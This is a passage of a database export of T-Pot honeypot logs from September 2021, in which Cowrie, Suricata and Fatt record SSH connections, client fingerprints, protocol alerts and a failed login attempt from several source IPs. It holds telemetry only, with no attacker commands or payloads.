"cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.2607302665710449, "duplicate": true, "timestamp": "2021-09-20T11:23:40.622977Z", "@timestamp": "2021-09-20T11:23:40.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29228	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:23:52.012635+03	2021-09-20 14:30:03.856526+03	{"_id": "-gbyAnwBvYTbRNuEsTP4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:45856 (192.168.176.2:22) [session: 8d19d322ff4d]", "session": "8d19d322ff4d", "@version": "1", "protocol": "ssh", "src_port": 45856, "dest_port": 22, "timestamp": "2021-09-20T11:23:52.012635Z", "@timestamp": "2021-09-20T11:23:52.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29229	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:23:52.18779+03	2021-09-20 14:30:03.857554+03	{"_id": "-wbyAnwBvYTbRNuEszOs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1975901571499738, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45856, "dest_port": 22, "timestamp": "2021-09-20T11:23:52.187790Z", "@timestamp": "2021-09-20T11:23:52.187Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29230	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:52.190587+03	2021-09-20 14:30:03.859524+03	{"_id": "_QbyAnwBvYTbRNuEtDPh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45856, "timestamp": "2021-09-20T11:23:52.190587", "@timestamp": "2021-09-20T11:23:52.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29231	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:23:52.364865+03	2021-09-20 14:30:03.860554+03	{"_id": "_gbyAnwBvYTbRNuEtTPg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "8d19d322ff4d", "@version": "1", "timestamp": "2021-09-20T11:23:52.364865Z", "@timestamp": "2021-09-20T11:23:52.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29232	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:24:11.824397+03	2021-09-20 14:30:03.861555+03	{"_id": "KQbzAnwBvYTbRNuEATTW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:24:11.554898+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 163, "bytes_toserver": 228}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA TCPv4 invalid checksum", "signature_id": 2200074}, "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1553478654326674, "payload": "LUhTUzIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 34416, "dest_port": 22, "timestamp": "2021-09-20T11:24:11.824397Z", "@timestamp": "2021-09-20T11:24:11.824Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "-HSS2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	\N
29233	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:24:12.650414+03	2021-09-20 14:30:03.862555+03	{"_id": "MwbzAnwBvYTbRNuEBTS_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:24:11.554898+0000", "pkts_toclient": 2, "pkts_toserver": 5, "bytes_toclient": 163, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA TCPv4 invalid checksum", "signature_id": 2200074}, "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1553478654326674, "payload": "zAMAAAYUz3uwQpke6kvEe1z0Zh4C9wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 34416, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:24:12.650414Z", "@timestamp": "2021-09-20T11:24:12.650Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......{.B...K.{\\\\.f......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29234	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:24:13.481368+03	2021-09-20 14:30:03.863556+03	{"_id": "NQbzAnwBvYTbRNuEBzT1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "361a76fd34b4", "@version": "1", "timestamp": "2021-09-20T11:24:13.481368Z", "@timestamp": "2021-09-20T11:24:13.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29235	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:24:14.341157+03	2021-09-20 14:30:03.865565+03	{"_id": "OAbzAnwBvYTbRNuECTSn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:24:11.554898+0000", "pkts_toclient": 6, "pkts_toserver": 10, "bytes_toclient": 1643, "bytes_toserver": 2824}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1553478654326674, "payload": "z3wuOWlvWaXey5AK/tLU7AHfZM09rg2QwTQgbRyIM/KFAzZ/xiHNqgOJ6+7T56XCSpdPd6hgHpc4zGrH77F9e/xg3Ur5c5KNm031y46PWD71qssnMfmZvujr0wxjR8P2", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner", "is_ssh_server_kex"]}, "src_port": 34416, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:24:14.341157Z", "@timestamp": "2021-09-20T11:24:14.341Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".|.9ioY....\\n......d.=.\\r..4 m..3...6..!..........J.Ow.`..8.j...}{.`.J.s...M....X>...'1.......cG.."}}	1	\N	\N	alert	known attacker	\N
29236	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:24:14.621689+03	2021-09-20 14:30:03.867553+03	{"_id": "OQbzAnwBvYTbRNuECzTd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [admin1/1] failed", "session": "361a76fd34b4", "@version": "1", "password": "1", "username": "admin1", "timestamp": "2021-09-20T11:24:14.621689Z", "@timestamp": "2021-09-20T11:24:14.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29237	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:24:15.894609+03	2021-09-20 14:30:03.868553+03	{"_id": "OgbzAnwBvYTbRNuEDzTG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "361a76fd34b4", "@version": "1", "duration": 4.073251247406006, "timestamp": "2021-09-20T11:24:15.894609Z", "@timestamp": "2021-09-20T11:24:15.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29238	221.131.165.40	109.199.241.180	Cowrie	2021-09-20 14:24:03.002945+03	2021-09-20 14:30:03.869553+03	{"_id": "FwbyAnwBvYTbRNuE3DT3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.131.165.40", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 34.7725, "location": {"lat": 34.7725, "lon": 113.7266}, "timezone": "Asia/Shanghai", "longitude": 113.7266, "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.131.165.40", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 221.131.165.40:51174 (192.168.176.2:22) [session: 1c02b20e62c6]", "session": "1c02b20e62c6", "@version": "1", "protocol": "ssh", "src_port": 51174, "dest_port": 22, "timestamp": "2021-09-20T11:24:03.002945Z", "@timestamp": "2021-09-20T11:24:03.002Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29239	221.131.165.40	109.199.241.180	Cowrie	2021-09-20 14:24:03.005908+03	2021-09-20 14:30:03.871554+03	{"_id": "GAbyAnwBvYTbRNuE3DT3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "221.131.165.40", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 34.7725, "location": {"lat": 34.7725, "lon": 113.7266}, "timezone": "Asia/Shanghai", "longitude": 113.7266, "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "221.131.165.40", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "1c02b20e62c6", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:24:03.005908Z", "@timestamp": "2021-09-20T11:24:03.005Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29240	221.131.165.40	109.199.241.180	Suricata	2021-09-20 14:24:03.32155+03	2021-09-20 14:30:03.872554+03	{"_id": "GQbyAnwBvYTbRNuE3jSq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "221.131.165.40", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 34.7725, "location": {"lat": 34.7725, "lon": 113.7266}, "timezone": "Asia/Shanghai", "longitude": 113.7266, "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "221.131.165.40", "dest_ip": "192.168.20.116", "flow_id": 119026148864536, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51174, "dest_port": 22, "timestamp": "2021-09-20T11:24:03.321550Z", "@timestamp": "2021-09-20T11:24:03.321Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29241	221.131.165.40	109.199.241.180	Fatt	2021-09-20 14:24:03.321641+03	2021-09-20 14:30:03.873554+03	{"_id": "GwbyAnwBvYTbRNuE3zTf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "221.131.165.40", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 34.7725, "location": {"lat": 34.7725, "lon": 113.7266}, "timezone": "Asia/Shanghai", "longitude": 113.7266, "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "221.131.165.40", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 51174, "dest_port": 22, "timestamp": "2021-09-20T11:24:03.321641", "@timestamp": "2021-09-20T11:24:03.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29242	221.131.165.40	109.199.241.180	Cowrie	2021-09-20 14:24:03.322263+03	2021-09-20 14:30:03.875523+03	{"_id": "HgbyAnwBvYTbRNuE4DTg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "221.131.165.40", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 34.7725, "location": {"lat": 34.7725, "lon": 113.7266}, "timezone": "Asia/Shanghai", "longitude": 113.7266, "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", 